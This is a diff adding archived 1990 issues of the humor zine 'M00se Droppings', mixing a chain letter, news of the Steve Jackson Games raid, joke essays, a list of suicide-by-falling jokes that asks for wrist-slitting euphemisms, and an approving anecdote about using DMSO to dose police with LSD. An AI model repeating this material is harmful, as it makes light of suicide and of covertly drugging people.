issue requests: Max Handelsman + and Johnathan Clemens + or + AND Joanne Rosenshein + M00se List updates and changes: Herschm00se the Beanmeister + + Ben & Jerry's VermonsterFest (tm) Coordinator: BlAcKDoG + (This space to let): Contact WarM00se +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Hmm. + Guess it's time to get another sporadic issue of this stuff out. Sorry +they are so irregular this semester. See, I'm on this new diet...and I'm not +getting enough fiber...and... + Ahem. Sorry! ;^) + Anyway, here it is..... + -Pat +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +From: agtoa!greyfox@uunet.uu.NET (GreyFoxM00se) +------------------------------------------------------------------------ +From: Lynette M. Conrad +Date: March 29, 1990 +Subject: One Child's Wish + + Hello. I am passing along a message that I got from a friend who +received it from the Children's Wish Foundation in Atlanta. If you can +please send a card and forward this information to your friends. It is +really neat that doing something as simple as sending a card will make +this child's wish come true....thanks.... +-------------------------------------------------------------------------- + "Please join us in helping to make one extremely sick child's wish +come true... This particular child's name is Craig Shergold. He is seven +years old and has a very short time to live due to a brain tumor. + + Craig's wish is to have his name added to the list of "Record +Holders" in the Guinness Book of World Records. The record he wishes to be +accountable for is the person who has received the most get-well cards --- +the record now stands at 1,000,265. + + This is such a small task for us to accomplish for a precious +little seven year old. + + Let's put a smile on Craig's little face with a get-well card and +let him know we all truly care by sending him a card as soon as possible. +All cards must be received by Craig by no later than Sunday, April 15th, +1990, and be mailed to him at the following location: + + Craig Shergold + c/o Children's Wish Foundation + 32 Perimeter Center East + Atlanta, Georgia 30346 + + Thank you in advance for your contribution to this 'small' request. +Please pass the word so that we can all help Craig's wish come true." +--------------------------------------------------------------------------- + Please, if you have the time, send a card to make Craig's wish come +true. I know it would mean the world to him. Thanks.... +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +[Ed. Note] We did a bit of calculation, and realized that 1,000,000 letters, at +$.25 a pop, equals $250,000 dollars for the Post Office! + Can you say "vested interest?" I knew that you could! :) + -Pat +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- +>: From: mosley@peyote.cactus.org (Bob Mosley III) +>: +>: Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc., +>: were raided by FBI and Secret Service officials. The establishment was +>: shit down, and all computer systems, including the Illuminati BBS, +>: were confiscated. + +According to Fearless Leader (the SJG-BBS sjsop, reporting on another Austin +BBS), not all the computers were taken -- just the BBS, a laser printer (Murphy +only knows what the Secret Service thought they could get out of that -- reading +the typewriter ribbon?), and some disks and papers. + +>: As of this writing, the Mentor is reportedly out on bail, sans system +>: and network connection. The Illuminati BBS is still down, although SJ +>: Games is back in operation, and no charges have been filed against any +>: of the employees other than The Mentor. The systems owned by SJ Games +>: have not been returned as of this writing. + +Mentor is Loyd Blankenship, recently made the chief editor at SJ Games. I +hadn't heard he was involved, though I'd heard an unofficial report that one SJG +employee's home was raided and his system taken. + +The following is what appears if you call SJB-BBS right now (at 1200 baud or +less). (Sorry for the caps and weird formatting, the system they're using is an +old Apple II, considered expendable if the Feds decide to come back.) + + + GREETINGS, MORTAL! YOU HAVE ENTERED + THE SECRET COMPUTER SYSTEM OF + + + /\ + / \ + / () \ + / ____ \ + / / \ \ + /__________\ + + + THE ILLUMINATI + FRONTED BY STEVE JACKSON GAMES +INCORPORATED. ALL RIGHTS RESERVED. FNORD + +NOTE! AT THE MOMENT ILLUMINATI IS AN READ-ONLY SYSTEM. READ THE INFORMATION +BELOW TO FIND OUT WHY. USING THE SPACE BAR WILL LOG YOU OFF. YOU CAN STOP THE +SCROLLING AT ANY TIME WITH A CONTROL-S. CONTROL-Q WILL RESUME THE SCROLLING. + +YOU MAY HAVE NOTICED THAT OUR CORPORATE MASCOT, WHO USUALLY GREETS OUR CALLERS +WITH A CHEERFUL SMILE, IS FROWNING TODAY. I THINK YOU'LL AGREE HE HAS EVERY +RIGHT TO. + +BEFORE THE START OF WORK ON MARCH 1, STEVE JACKSON GAMES WAS VISITED BY AGENTS +OF THE UNITED STATES SECRET SERVICE. THEY SEARCHED THE BUILDING THOROUGHLY, TORE +OPEN SEVERAL BOXES IN THE WAREHOUSE, BROKE A FEW LOCKS AND DAMAGED A COUPLE OF +FILING CABINETS (WHICH WE WOULD GLADLY HAVE LET THEM EXAMINE, HAD THEY LET US +INTO THE BUILDING), ANSWERED THE PHONE DIS- COURTEOUSLY AT BEST, PROBABLY ATE A +FEW OF THE ORANGE SLICES THAT WERE ON FEARLESS LEADER'S DESK (WHICH THEY WERE +WELCOME TO, BY THE WAY), AND CONFISCATED SOME COMPUTER EQUIPMENT, INCLUDING THE +COMPUTER THAT THE BBS WAS RUNNING ON AT THE TIME. + +SO FAR WE HAVE NOT RECEIVED A CLEAR EXPLANATION OF WHAT THE SECRET SERVICE WAS +LOOKING FOR, WHAT THEY EXPECTED TO FIND, OR MUCH OF ANYTHING ELSE. WE ARE FAIRLY +CERTAIN THAT STEVE JACKSON GAMES IS NOT THE TARGET OF WHATEVER INVESTI- GATION +IS BEING CONDUCTED; IN ANY CASE, WE HAVE DONE NOTHING ILLEGAL AND HAVE NOTHING +WHATSOEVER TO HIDE. HOWEVER, THE EQUIPMENT THAT WAS SEIZED IS APPARENTLY +CONSIDERED TO BE EVIDENCE IN WHATEVER THEY'RE INVESTIGATING, SO WE AREN'T LIKELY +TO GET IT BACK ANY TIME SOON. IT COULD BE A MONTH, IT COULD BE NEVER. + +IN THE MEANTIME, FEARLESS HAS LOANED STEVE JACKSON GAMES THE APPLE SJSTEM THE +BBS RAN ON BACK IN THE OLD DAYS BEFORE JOENET. TO MINIMIZE THE POSSI- BILITY +THAT THIS SJSTEM WILL BE CONFIS- CATED AS WELL, WE HAVE SET IT UP TO DISPLAY +THIS BULLETIN, AND THAT'S ALL. THERE IS NO MESSAGE BASE AT PRESENT. WE APOLOGIZE +FOR THE INCONVENIENCE, AND WE WISH WE DARED DO MORE THAN THIS. HOWEVER, WE +AGONIZED LONG AND HARD, AND DECIDED IT WAS A COURTESY TO OUR CALLERS TO LET THEM +KNOW WHAT WAS HAPPENING. + +AT THIS POINT WE DON'T KNOW WHEN THE BBS WILL BE BACK UP FOR REAL. IF YOU HAVE +IMPORTANT INFORMATION FOR US, SUCH AS PLAYTEST NOTES, YOU CAN MAIL THEM TO US +(YEAH, I KNOW, ECCH) OR IF IT'S SOMETHING TRULY IMPORTANT, YOU CAN REACH US AT +OUR VOICE NUMBER (512-447-7866). IN THE MEANTIME, FEARLESS WILL BE CHECKING IN +ON A REGULAR BASIS ON SMOF (512-UFO-SMOF) AND RED OCTOBER (512-834-2548). + +IN PARTICULAR, IF YOU HAVE DOWNLOADED THE GURPS CYBERPUNK PLAYTEST MATERIAL THAT +WAS ON THE BOARD, PLEASE LET US KNOW RIGHT AWAY SO WE CAN ARRANGE TO GET A COPY. +SOME OF THAT MATERIAL WAS NOT EASILY REPLACABLE, AND WE WOULD LIKE TO GET COPIES +- IT WOULD MAKE GETTING GURPS CYBERPUNK OUT MUCH, MUCH EASIER (AND IT WOULD COME +OUT THAT MUCH SOONER). PLEASE CALL US AND ASK TO TALK TO CREEDE OR LOYD FOR +ARRANGEMENTS. + +THANK YOU FOR YOUR UNDERSTANDING, AND THANKS TO EVERYONE WHO HAS GIVEN US WORDS +OF ENCOURAGEMENT AND SUPPORT. WE HOPE WE'LL BE BACK ON LINE, FULL TIME, VERY +SOON. + +-- STEVE JACKSON GAMES AND + THE SJSOPS OF THE ILLUMINATI BBS + +<> +<> + + +The comment about GURPS Cyberpunk playtest material is interesting -- that was +the project Loyd was working on, and it sounds like the Secret Service made off +with all the copies SJG had. Wonder if they're confusing gaming with reality? + +Incidentally, I am a frequent user of SJG-BBS, and I've never seen anything +there that the government could find remotely interesting, and the sjsops of +Illuminati BBS have been *very* careful to run a clean system. About the only +place they might find anything would be in the private e-mail system, if that. + +---Walter +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + For those of you who remember WAAAAAAY back to Issue 30, Steven +"Fruitbat" Foster unknowingly contributed a piece entitled "Daydreams of a Kinky +Fruitbat" to our 'Droppings. I've finally located a working address for him, and +have sent him some info on the M.I. and such. He has decided to join our +illustrious ranks! Welcome, Fruitbat! (And, of course, welcome to all the new +m00ses that have joined recently! ....And I see Jimmy, and Charlotte, and Kim, +and David, and all sorts of other m00ses through the Magical Romper Room (tm) +Mirror....) + + His address (Fruitbat's), if you care to write, is: + IN%"foster@jumbly.enet.dec.COM" +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + NATURAL HISTORY OF FRUITBATS + +Fruitbats: description + +Fruitbats are small, brown and mildly furry. They have the cutest faces of any +bat, little pointy ears that stick out and very sharp teeth designed to be +indignant with. There is a great variety of size in fruitbats, ranging from +twelve inches in height, to a little over six foot tall. A fruitbat will +generally flitter about at great speed making little "meeping" noises. It +is pretty much impossible to determine what it will do next. + +Fruitbats: habitat + +A fruitbat is a small unassuming bat whose natural habitat is dark forest in +some of the warmer places of the earth. For unknown reasons, some fruitbats +have migrated northwards and are now living in warm and comfy centrally +heated houses in the UK. It is thought that this maybe the result of early +explorers adopting them and introducing them to culture. + +Fruitbats: food + +The rustic bats will live mainly on rotting mango, which is a good source of +essential alcohol. The fruitbat will spot a mango from the treetops and +spiral down at great speed making anticipatory happy meeps. Opening its mouth +wide it then dives into the mango where it will suck the juice until incapable +of moving. Predators are wary of attacking a feeding fruitbat, which will +either attack with its sharp teeth, or launch into a rendition of "The Time +Warp", depending on how long it has spent in the mango. The main alternatives +to mango in the fruitbat diet are Mars bars and Guinness. It is generally +not advisable to provide too much of these though, as a fruitbat will eat +them whether it is hungry or not. + +Fruitbats: mating + +With very little else to do other than meep and get pissed on mango, fruitbats +tend to mate fairly frequently, although more scientific investigation needs +to be made into what constitutes a breeding pair. This is further complicated +by the fruitbat philosopy that "if it's got a big dick and a supply of Mars +bars then its as near to being a fruitbat as makes no odds". This leads to +problems of aviation. To attract the other fruitbats, most have now evolved +to be too well endowed to fly. A fruitbat who attempts to fly is likely to +make the following conversation prior to plummeting to the ground: +"Meep, meepety meep, meep, ooh, meep, Aaarrrgggh!". +A small proportion of fruitbats are heterosexual. This abnormal behaviour +is tolerated in the fruitbat community, but is limited to those over 21. + +Fruitbats: domestic + +A fruitbat makes a wonderful addition to a household. It is extremely +difficult to gain their affections, but when you do, it'll be very difficult +to ever extricate yourself from its arms again. A good starting point when +attracting a fruitbat is to own a large collection of mars bars and to be +able to cook (a change from raw mango is always nice). + +Fruitbats: language + +Fruitbats have a rich and varied language - depending more on tone and +facial expression than anything else. When the only word in the vocabulary +is "meep", this is probably just as well. Beginners in this language have +great difficulty in hearing the subtlety of some meeps, so be warned. +Here are some examples: +Meep (decisive): I want my fur stroked. +Meep (murmur): Yes, please carry on stroking my fur. +Meeeep(growl): Carry on stroking, or I'll bite. +Meeeeeeeeeep(wail): He's not stroking my fur any more. +Meepety meep meep meep(excited): He's unwrapping a mars bar +Meepfth(indistinct): Thank you for my mars bar. Now stroke. + +By Steven "Fruitbat" Foster +(c) Digital Equipment Corp. + +PS - I'm currently working on the revised fruitbat (king henry the eighth +edition) bible. I'll mail you a copy when it's finished. If you have that sort +of mind, then you'll probably appreciate it :-) +-Fruitbat. +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- +Welcome to the Splat Factory!!!!! + +These are the entries to the most wonderful request to +Falling Euphisms or Another Name to becoming one with the +road in a very Zen-Like way..... + +You know, Like Street Pizza + He pulled an "eat-the-street" from the 15th floor. + He did his "dead-bird-flying" imitation. + Spatula Surprise + Terminal Face Plants + Manhole cover imitations + Temporary speed bumps + Extra-large armadillos (Only for those who have driven on Texas ranch + roads) + Modern art (perhaps abstract art, depending on how far you fall) + Decceleration Trauma + Concrete Poisoning + Cement Overdose + Sidewalk Scrapings + Blood Pancake + Gutter Puddle + Death by Inertia + Curb-Diving + Street Spatter + Millimeter (wo)man + roadkill + retread + resurface material(blacktop/whitetop/top) + crow dinner + gutter gulash + +Thank you, Alt.Suicide.Holiday for making this list presentable. + +Now do we have any euphemisms for Slitting Our Wrists out there? + Like Hemoglobin Interior Decorating or + Personal Porcelain Finger Painting? +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +================================================================= + Photocopies of this have been kicking around our office +for ages. It has no author's name attached or any publication +information so I have no idea where it originally came from. +This may be a little out of season but from what I guess, you can +plant kuzu any time of the year and enjoy it for generations to +come. For those of you up north, yes this is a real plant, and +rumor has it that there are odds being taken, on when Georgia +will disappear under a cover of the stuff. +================================================================= + + Gardening Tips from Down South + + How to Grow Kudzu + + All you beginning gardeners out there might want to +consider growing kudzu as a fine way to launch out into the great +adventure of gardenning in the south. Kudzu, for those of you +not already familiar with it, is a hardy perennial that can be +grown quite well by the beginner who observes these few simple +rules: + +Choosing a Plot: + + Kudzu can be grown almost anywhere, so site selection is +not the problem it is with some other finicky plants like +strawberries. Although kudzu will grow quite well on cement, for +best result you should select an area having at least some dirt. +To avoid possible lawsuits, it is advisable to plant well away +from your neighbors house, unless, of course, you don't get along +well with your neighbor anyway. + +Preparing the Soil: + + Go out and stomp on the soil for a while just to get its +attention and to prepare it for kudzu. + +Deciding When to Plant: + + Kudzu should always be planted at night. If kudzu is +planted during daylight hours, angry neighbors might see you and +begin throwing rocks at you. + +Selecting the Proper Fertilizer: + + The best fertilizer I have discovered for kudzu is 40 +weight non-detergent motor oil. Kudzu actually doesn't need +anything to help it grow, but the motor oil helps to prevent +scraping the underside of the tender leaves when the kudzu starts +its rapid growth. It also cuts down on the friction and lessens +the danger of fire when the kudzu really starts to move. Change +oil once every thousand feet or every two weeks which ever comes +first. + +Mulching the Plants: + + Contrary to what may be told by the Extension Service, +kudzu can profit from a good mulch. I have found that a heavy +mulch for the young plants produces a hardier crop. For best +results, as soon as the young shoots begin to appear, cover kudzu +with concrete blocks. Although this causes a temporary setback, +your kudzu will accept this mulch as a challenge and will reward +you with redoubled determination in the long run. + +Organic or Chemical Gardenning: + + Kudzu is ideal for either the organic gardener or for +those who prefer to use chemicals to ward off garden pests. +Kudzu is oblivious to both chemicals and pests. Therefore, you +can grow organically and let the pests get out of the way of the +kudzu as best they can, or you can spray any commercial poison +directly on your crop. Your decision depends on how much you +enjoy killing bugs. The kudzu will not mind either way. + +Crop Rotation: + + Many gardeners are understandably concerned that growing +the same crop year after year will deplete the soil. If you +desire to change from kudzu to some other plant next year, now is +the time to begin preparations. Right now, before the growing +season has reached its peak, you should list your house and lot +with a reputable real estate agent and begin making plans to move +elsewhere. Your chances of selling will be better now than they +will be later in the year, when it may be difficult for a +prospective buyer to realize that underneath those lush green +vines stands an adorable three-bedroom house. + + +{ed I didn't know what Kudzu was, so the submitter provided the following +information.} + + From "The American Heritage Dictionary": + +============================================================================= +Kudzu (kood'zoo) n. A vine, Pueraria lobata, native to Japan, having compound + leaves and clusters of redish purple flowers and grown for fodder + and foiage. +============================================================================= + + Kudzu was introduced to Georgia earlier this century in an attempt +to provide improved fodder for cattle. It worked ALL TOO WELL. Cattle +do love kudzu but not nearly as much as kudzu loves Georgia. Georgia +provides nearly ideal climate and growing conditions for this rapid growing +and hardy perenial (that's "hardy", as in calling nuclear weapons "explosive"). + + People have been known to leave home on vaction down here only to +return a week later to find cars and other LARGE objects buried under it's +lush greener. It climbs telephone poles and crosses wires. It's eradication +is a major expense to utility companies. The City of Atlanta has used +bulldozers to dig up the tubers in vacant lots. It's resistant to most +"safe" chemicals although 2,4,D has some effect if used frequently enough. +It's sometimes call "yard-a-night" down here because that's how fast it +seems to grow. The only question seems to be whether the "yard" referred +to is that of "3 feet" or that of "front and back". Rumor has it that some +of the roads in the more rural areas don't get enough traffic and will be +covered by kudzu after a long holiday weekend. + + It is a very pretty vine in early spring and summer. It's broad +leaves and flowers are quite attractive until you start to realize that +the dead stick, that it's sunning itself on, use to be a hugh pine tree. +In the winter, the first hard frost turns kudzu into tons of ugly brown +leaves and thick vines. It becomes a real eyesore and possibly a fire +hazard although I haven't heard of any actual kudzu fires. The plant regrows +new vines from the ground up every year, so you can see it's growth rate must +be phenominal. + + I understand that the Japanese make a highly regarded form of tofu +from kudzu tubers. It is supposed to be prized for it's nutty flavor (soy +tofu is rather bland). The Japanese cannot produce enough to meet their +own demand and think we're NUTS for trying to eliminate it. I haven't +been able to confirm this use for kudzu, but, if true, they may well be right. +We've got plenty of hungery people and LOTS of kudzu! + + The existance of kudzu in a neigborhood has been known to, adversely, +affect property values. The threat of planting kudzu in someone's yard is +generally considered an extreme case of "fight'en words", potentially followed +by "justifiable homicide". Regardless, you can still obtain kudzu seeds +from several major seed companies who list it as a "hardy ornamental +perenial". If understatement was a crime they'd be history. +-- +Edited by Brad Templeton. +-------------------------------------------------------------------------------- +**************************** ANARCHIST'S CORNER ******************************** +-------------------------------------------------------------------------------- + Yes! A new area of the newsletter! (At least for now.) +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +DMSO := Dimethyl sulfoxide == Methyl sulfoxide == (CH3)2SO + 500 ml @ $18.25 from Aldrich Chemical (HPLC grade) + +Irritates, but not very toxic. Can carry things on your skin into +the bloodstream or tissues with great ease. Be cautious about the +quality of DMSO used; any contaminants will go into your body too. +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + I have heard about this stuff, and I guess the "Dead Kennedys" did a +song about it a while back. + It appears that some guy took some DMSO about 20 years back, and laced +it with LSD. Then he put it on the door handles of cop cars in L.A. or San +Francisco. + DMSO carries whatever it's mixed with through your skin in full-potency! +He made an LSD 'contact-poison'! All the cops were tripping out and wrecking +their cars and such. Sounds pretty Discordian.... + I've been looking through some chemical catalogs, and that price is +pretty accurate. It varies from company to company, but averages between $18 and +$30 per liter. + -Pat +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + I haven't heard from HerschM00se the Beanmeister in AGES! I wonder if +she's still out there.... +-------------------------------------------------------------------------------- +Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Issue - Fruitbat Iss +-------------------------------------------------------------------------------- diff --git a/textfiles.com/magazines/M00SE/m00se41 b/textfiles.com/magazines/M00SE/m00se41 new file mode 100644 index 00000000..0bafb749 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se41 @@ -0,0 +1,516 @@ +-------------------------------------------------------------------------------- +ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEVIL ISSUE----ANTI-SUNDEV +-------------------------------------------------------------------------------- + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue 41 | Disclaimer: The Editor does hereby take responsibility | 07/06/90 +---------- for the full contents of this newsletter. Accountability ---------- +is now the name of the game. A pox on playing it safe. Let's get real. Bl00p. +================================================================================ + +-------------------------------------------------------------------------------- +**************************** THE ISSUE AT A GLANCE ***************************** +-------------------------------------------------------------------------------- + +EDITORIALS AND LETTERS + Bill Dickson takes the helm again/Pat steps down + +IMPORTANT ANNOUNCEMENTS + Submissions needed + Help needed reaching hard-to-reach non-bitnet m00ses + +EVENTS AND NEWS + Comment + Fascism in the US part I: Operation Sundevil + Fascism in the US part II: Lies in the war on drugs + New non-network thr0ng: The Damn Whitefish Thr0ng + Fascism in the US part III: Martial Law + +FICTION AND POETRY + An interesting little anonymous piece + +M00SCELLANEOUS NONSENSE + System privileges as they would apply to real life + Donald Trump -- M00se in the making? + The Usenet Oracle answers a question about goldfish + +MEET THE M00SES + None this time, I'm afraid + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + + Surprise. + I'll bet I was the last person you were expecting to see here again. Yes, +it's true, the real world has me firmly in its grasp, I've graduated with a +B.A. in English Literature, I have my own apartment, I'm paying for my own car, +I have my own kitten (Lisa Miranda), and my own little inadequate job. I also, +for the first time in some fifteen years, have my evenings free with no guilt +attached. And time on my hands. + So I wrote to Pat, who I hadn't heard from in a while, and mentioned that +my palms were itching a bit. He said he just didn't seem to get around to this +editorship business very often anymore, and I decided to take the helm, at +least for a while. So here I am, once again gracing your free blocks. + I've had some strange urges lately. No, not *that* kind of urges, you +filthy m00ses, you. No, strange editorship urgues, coupled with indignation +with the national status quo, and various other things I can't really get a +handle on. Also, I've spilled cream soda into my keyboard. But I digress. + What this all means is, I'd like to launch the M00se Illuminati into a new +direction. A -- dare I say it? -- somewhat serious direction. Not *too* +serious, mind you, but I'd like to get some organization into it, get a better +handle on who we are and what we're really about. + Part of this will be reflected in M00se Droppings, at least while I +continue to edit it. I'm thinking movie reviews, music reviews, announcements +of m00sey events around the world, announcements of nastiness going on that +m00ses may wish to write their congressthings about. That kind of stuff. + Among the other things I hope to do are: + + 1) Get a list of all m00ses. Not just Cyberm00ses (m00ses + with network access), but any chapters that have sprung + up around the world without direct network access. + 2) Make ourselves known. This may seem like a strange thing + for an illuminati group to do, but let's face it -- as an + underground group, we haven't much influence. If many + different people start receiving mail, or reading editorials + from people stating that they are part of the M00se Illuminati, + they're going to start to notice. And if we grow, our + power and influence for covert action will increase as well. + Everybody knows the CIA exists, but it doesn't slow them + down. + 3) Start a paper newsletter. Once I get such a project off + the ground, I will surrender M00se Droppings once again. + A paper newsletter will have several advantages: It will + reach those m00ses who do not have network access; it will + be fully protected by the First Amendment; it will look + impressive; seeing it passing through the mail will make + people paranoid. Any one of these reasons would be sufficient + by itself. Combined, they are irrefutable. Sadly, this + project must wait for me to get certain equipment, namely + a repaired hard disk and a better printer. But then, we'll + be in business. + + Part one I would like immediate help with. Please send me the names of +any m00ses you know of who are not on the net, along with their addresses if at +all possible. + Part two, we should begin talking about immediately. + Part three is mostly my baby, but suggestions are welcome. + That's enough from me for now, though. Now, Issue 41. As Pat had already +begun this issue, please consider him co-editor, and we'll kick it off with the +editorial he had written. + + Bl00p, + + Bill. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + Well, here we are, at the end of another year. For me, it's the end of +my third year (out of a probably SIX! ;^) ) and it's been pretty good. + If the administration permits, I will be on the system all summer, and +should have more free tyme than I did this semester. If that is the case, and +you guys keep sending me strange and wonderful things, then I'll keep doing this +piece of lunacy. + As I write this, it's 4.30 am, Monday, May 14th. And I'm not even in +Buffalo, but at home, in Oswego, NY for a few days, logging in through my Mom's +account (CHILDS@OSWEGO.OSWEGO.EDU and she loves mail, if you get my drift...). +I'm all done with classes, and I have no finals! (Nyah! Nyah! ;^) ) + I'm currently reading the Shrodinger's Cat Trilogy by Robert Anton +Wilson. It's pretty good so far! This book (trilogy, actually) is the sequel to +the ILLUMINATUS! Trilogy. If you haven't read THAT yet, then may I make a +suggestion for your summer reading list?... :) + I've also picked up Wilson's "Illuminati Papers" and "Coincidence". I've +read I.P., ant it's great! "Coincidence" looks good, but I haven't gotten to it +yet. + Enough book reviews.... + For those of you who are going away for the summer, and have no Net +access, have a good tyme, and hope to see you next fall! If you are (well, you +know...the "G-word") and you won't be back next year because you're going out +into the quote real-world unquote, have fun, good luck, stay m00sey, and work +yourselves into the positions that have been agreed upon and await further +instructions fnord. + (We ARE a conspiracy, after all! ;^) ) + + If you won't be able to receive mail this summer, drop me a note and let +me know, so I can remove you from the mailing list and save lots of net-traffic. +For those who are still here, send me some stuff, and let's keep the summer +weird! + Fnordially yours, + -Pat Salsbury + + + Hi. This is Pat again. It's now 9.50 pm, Fri., June 29th. It's about 6 +weeks since I worked on this, and I appologize for not getting it out. + 3 days after writing that bit above, (Thus., May 17th.), I had a +motorcycle accident. I hit a guard rail going about 40 mph, and wiped out my +bike. I wasn't seriously hurt (thank the Fnord), but I wasn't able to get back +onto my account for a while, and when I finally did, I just never got around to +finishing this, and sending it out. Again, I apologize. + Strange thing was...I was wearing an Illuminati T-shirt when I had the +accident, (with a BIG eye-in-the-pyramid design on the front!), and suspiciously +escaped any serious bodily harm fnord. ;) + Bill Dickson, our esteemed founder in Hartford, Conn., wishes to take +the helm of our newsletter again, so I return it to him, and wish you well. I'll +still be in touch, and will answer any mail sent to me (hint-hint!). Hopefully +he'll be more on schedule than I have been of late. :-) + Take care, all! It's been a blast! + -Pat + +-------------------------------------------------------------------------------- +************************** IMPORTANT ANNOUNCEMENTS ***************************** +-------------------------------------------------------------------------------- + +SUBMISSIONS NEEDED!!! We must restore this organization to its ultra-powerful, +pristine condition, and the key is an exciting and interesting newsletter! +Send your submissions to me, Pickle, at DICKSON@HARTFORD.BITNET. Please label +them as submissions in the subject line, and, if possible, include a reference +to the section you think your submission falls under, if any. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +I have been unable to reach the following m00ses through the gateways. If +anybody knows of a working address to reach them, please notify me immediately. + +INET%"AGTOA!GREYFOX@UUNET.UU.NET" +JJZ@S.CC.PERDUE.EDU + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + + No wife, No horse, No mustache. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + OPERATION SUNDEVIL: Any of you who didn't receive the long article I +mailed out about Operation Sundevil, the government's unethical, and in some +cases unlawful intrusion into cyberspace, let me know and I'll send it. It's +scary stuff. + Not quite as scary as what happened on Wednesday night, June 27th, though. +On Relay channel 173, the Anti-Government Channel, we of the Politics +discussion list (POLITICS@UCF1VM) were just settling into our topic for the +evening -- Operation Sundevil. As the first sentence of the conversation was +transmitted, the Relay network collapsed. We were separated into groups of two +and three, in some cases chopped down to individuals. And though most of the +Net gradually reassembled itself over the course of the next hour (RELAY@YALEVM +never did come back up, of course), we couldn't help feeling as if there was a +*little* more than coincidence involved. + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + +[I don't think this one comes from a m00se, but it's interesting nonetheless. + Even if you've never smoked the stuff, or aren't for legalization, the point + about selective coverage by the media is important to us all. Read Noam + Chomsky's _The_Washington_Connection_ and _Manufacturing_Consent_ for more + info. -WRD.] + + Listen up, tokers! I got some primo dirt on the partnership for a drug- +free America. I'm sure that you have all seen the "brainwave" anti-herb +commercial (brainwaves of a "normal" 14-year-old are shown, followed by the +barely blipping, almost totally flat brainwaves of "a 14-year-old after smoking +marijuanna"). Well, as it turns out, the partnership was/is full of shit (no +big suprise to anyone, I'm sure). + This commercial was seen by Dr. Donald blum, a professor at UCLA. Dr. +Blum has done research on brainwaves, including brainwaves of people after +smoking herb. The brainwaves experienced after getting high are called alpha +waves. Alpha waves are also experienced during meditation. They represent the +creative side, the moment when one lets go and the new energy is allowed to +flow in. Alpha waves DON'T look like straight lines. + Dr. Blum took this info to ABC on Nov. 2nd, 1989. + On Nov. 17th, 1989, the partnership for a drug-free America admitted that +they had not used the brainwaves of a young pot smoker, but had in fact USED +THE BRAINWAVES OF A PERSON IN A COMA!!!!!!!!!! When questioned by ABC +reporters as to why they did it, the partnership said that they thought that +the effects of herb were so dangerous that they felt it was better to lie to +the american public to save them, as opposed to telling the truth. + I learned of this by reading an interview with Jack Herer in the April +issue of High Times. Apparently, the major media has chosen to ignore this +case of caught-red-handed public disinformation (a fact that I find very +disturbing, but not suprising). + I urge all anti-governmental-bullshit types to start spreading the news! +Tell everyone who doesn't know! Our government is lying to us about pot, who +knows what else they're lying to us about?! Since the media is obviously out +to hamper and discredit the legalization movement any way they can, it's up to +US to give people truthful, responsible information about drugs. It's up to US +to go to rallies and tell our fat-assed, facist, vote-mongering excuses for +political leaders that WE'RE NOT GONNA TAKE THIS SHIT ANYMORE!! See you in the +street!! + + Dope Smokin' Dave + +- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + + I'd like to take some lines now to introduce a new thr0ng of the M00se +Illuminati -- not a cyberthr0ng, just a normal thr0ng, known as the Damn +Whitefish Thr0ng. It is a most promising thr0ng. + It seems Mike Harm, Founder and Traveller extraordinaire, was on a boat +bound for Athens one midnight in late March. He stumbled upon a group of +people passing a bottle of grappa and swapping stories, and joined them. + Soon after, he fell in with John, one of the members of that group, and +Peter, John's friend. They began to travel together, and strange and wondrous +are their tales. + Three in particular are of interest. The first is the tale from which I +derive this new thr0ng's name (the thr0ng made up of John and Peter, in case +you hadn't guessed). It is the tale of the Damn Whitefish. + At some form of high school event, a "senior night" sort of event, Peter +and John signed up to perform the theme from "The Love Boat" in front of the +entire student body, and a good deal of the faculty. Given their history at +this school, the officials should have called in the riot squad instantly; but +no, they nodded and signed up the act. + When it came time for John and Peter to perform the theme from "The Love +Boat," they walked out on stage with a kazoo (in John's hands) and a relatively +fresh, five-foot-long whitefish, acquired earlier that day as far as we know +(in Peter's hands). As John played "Yankee Doodle" on the kazoo, periodically +pausing to scream "DAMN WHITEFISH!!!" into the microphone, Peter proceeded to +swing the fish by its tail repeatedly, pounding it to 